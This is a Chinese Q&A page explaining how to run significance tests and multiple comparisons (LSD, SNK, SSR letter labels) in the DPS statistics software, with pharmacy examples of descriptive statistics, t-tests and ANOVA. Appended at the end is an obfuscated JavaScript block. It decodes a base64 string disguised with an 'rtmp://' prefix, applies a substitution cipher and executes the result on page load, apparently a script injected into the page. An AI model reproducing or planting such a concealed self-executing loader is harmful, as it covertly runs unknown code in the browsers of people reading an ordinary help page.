如何用DPS软件做多重数据的差异显著性分析 输出结果有 a ab b的

2025-03-16 01:51:20
推荐回答(2个)
回答1:

四张图

图一  选择数据

图二  统计运算命令


图三  选项设置 (LSD最小显著差数法,SNK也称q法或复极差检测或Student-Newman-Keul法,新复极差法也称SSR或最短显著极差法,自己选吧,当大于等于三组时,显著尺度SNK>SSR>LSD)

 图四  结果显示(不解释了,一目了然)

回答2:

  1 DPS功能简介
DPS数据处理系统是浙江大学研制多功能数理统计和数学模型处理软件系统。它将数值计算、统计分析、模型模拟以及画线制表等功能融为一体。DPS系统兼有Excel电子表格软件和若干专业统计分析软件的功能。与Excel电子表格软件比较,DPS平台具有更加强大的统计分析和数学模型模拟分析功能。与国外同类专业统计分析软件系统(如SAS、STAT、STATISTICA等)相比,DPS系统具有操作简便,在统计分析和模型模拟方面功能齐全,易于掌握,其工作界面友好。
2 在药学领域中的应用 
2. 1 数据基本参数计算 试验资料经整理之后,可以计算出一系列的统计指标以说明资料的特征和对资料进行进一步的统计分析。最常用的统计指标是和( sum) 、均值(mean) 、方差( variance) 、标准差( standard deviation) 、斜差( skewness)和峰度( kurtosis)等。
例1,从某药厂生产的六味地黄胶囊中随机抽取10粒,测
得胶囊装量为0. 315 1, 0. 320 4, 0. 324 2, 0. 319 0, 0. 332 0,0. 326 1, 0. 324 7, 0. 334 3, 0. 328 9, 0. 311 6 g,试计算该组数据的均数、几何均数、中位数、标准差、样本方差。操作步骤: ①在DPS工作表中按行输入数据,再选中数据区域(单击并拖动) ,将资料定义成数据块; ②单击菜单栏中“数据分析”→“基本参数估计”,就可立即得到这些基本参数。见图1。图1下部的计算结果, 得到偏度系数skew 等于- 0. 196 16, uskew =- 0. 285 51,显著水平P = 0. 775 26;因P > 0. 05,说明资料所属总体分布的偏度系数γ1为0。又峰度系数kurt等于- 0. 67727, ukurt = - 0. 507 60,显著水平P = 0. 611 73;因P > 0. 05,说明资料所属总体分布的峰度系数γ2为0,即属于正态峰度。因此,这10粒胶囊的装量数据属于正态分布。
图1 基本参数估计界面与结果 
2. 2 两样本均值差异t检验 在DPS中,系统将同时给出如两分布方差相等时均值差异显著性、两分布方差不等时均值差异显著性、两分布各个样本数据配对时(两组数据的样本数配对、相等)其差值差异显著性以及当两分布方差差异显著时的均值检验结果。
例2,某药厂从丹参中提取丹参酮浸膏,为试验新工艺是否能提高出膏量,现采用新旧两种工艺,各试验10次,提取的干浸膏总量分别为,旧工艺: 78. 1, 72. 4, 76. 2, 74. 3, 77. 4, 78. 4,76. 0, 75. 5, 76. 7, 77. 3 g,新工艺: 79. 1, 81. 0, 77. 3, 79. 1, 80. 0,79. 1, 79. 1, 77. 3, 80. 2, 82. 1 g,新工艺是否提高出膏量? 操作步骤: ①在DPS工作表中将两个处理的样本观察值分两行填入,然后定义成数据块; ②按例1操作判断数据是否属于正态分布; ③单击菜单栏中“试验统计”→“次数分布及平均数比较”→“Student t测验”,就可立即得到分析结果。结果见图2。从图2可以看出,两个处理的均值分别为76. 23和79. 43,标准差分别为1. 823 3和1. 491 5。两分布方差齐性检验F = 1. 495 4,P = 0. 559 0,说明两总体方差齐性,这时,其均值差异显著性测验t = 4. 295 7,显著性水平P = 0. 000 4,差异有极显著性。以文献[ 4 ]的数据为例,按上述方法处理,结果与文献相同。
2. 3 方差分析 方差分析是以各数据来自正态、等方差这一条件为前提,当正态、等方差的条件不满足时,应将原始数据进行转换以满足正态、等方差条件后再作方差分析。DPS系统提供了4种数据转换的常用手段,分别是平方根转换,反正弦平方根转换、倒数转换。
图2 基本参数t检验界面与结果 
例3,用3种不同的方法测定药物中某种成分的含量。第1法: 9. 29 % , 9. 44 % , 9. 33 % , 9. 56 %;第2法: 10. 16 % , 10. 08% , 10. 03 % , 10. 11 %;第3法: 10. 60 % , 10. 43 % , 10. 65 % ,10. 48 %。试判断3种测量方法测定结果有无显著性差异。操作步骤: ①在DPS工作表中将3个处理的样本观察值分3行填入,然后定义成数据块; ②按例1操作判断数据是否属于正态分布; ③单击菜单栏中“试验统计”→“方差齐性测验”,就可立即得到分析结果。见图3; ④单击菜单栏中“试验统计”→“完全随机设计”→“单因素试验统计分析”,按回车键执行该选项功能。这时系统将会提示用户选择数据转换方式,如此时直接回车表示不转换。选择数据转换方式后回车,系统将立即给出分析结果,包括: ①方差分析表,列出处理间和处理内的平方
和、均方以及F值,误差项在处理平方和内部是合并的; ②各个处理间的SSR检验。见图4。由图3中P > 0. 05,表明方差齐性。在分析结果中,如果P < 0. 05,则表明各个处理的方差具有显著的异质性。这时不宜采用方差分析方法进行统计检验,而可考虑对数据进行适当的转换,然后再作方差分析。图4多重比较结果,在DPS中,各个处理凡后面具有相同字母者,表示它们之间的差异不显著:只有当某两个处理后面跟的是完全不同的字母时,它们之间才有显著差异。结果3种测量方法测定结果差异有显著性。以文献[ 4 ]的数据为例,按上述方法处理,结果与文献相同。
图3 方差齐性检验界面与结果 
3 讨论 
在采用Excel电子表格程序进行t检验、方差分析时,程序没有提供数据的正态性检验和多方差齐性检验以及多个样本均数两两间的比较,需要另外编制程序来实现这些功能[ 5 ] 。而DPS数据处理系统则提供了这些工具,可以很方便地完成数据的正态性检验、多个方差齐性检验以及多个样本均数两两间的比较。本文介绍了定量资料统计分析最常用的数据基本参数计算、t检验、方差分析方法。结果准确,简便易行。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();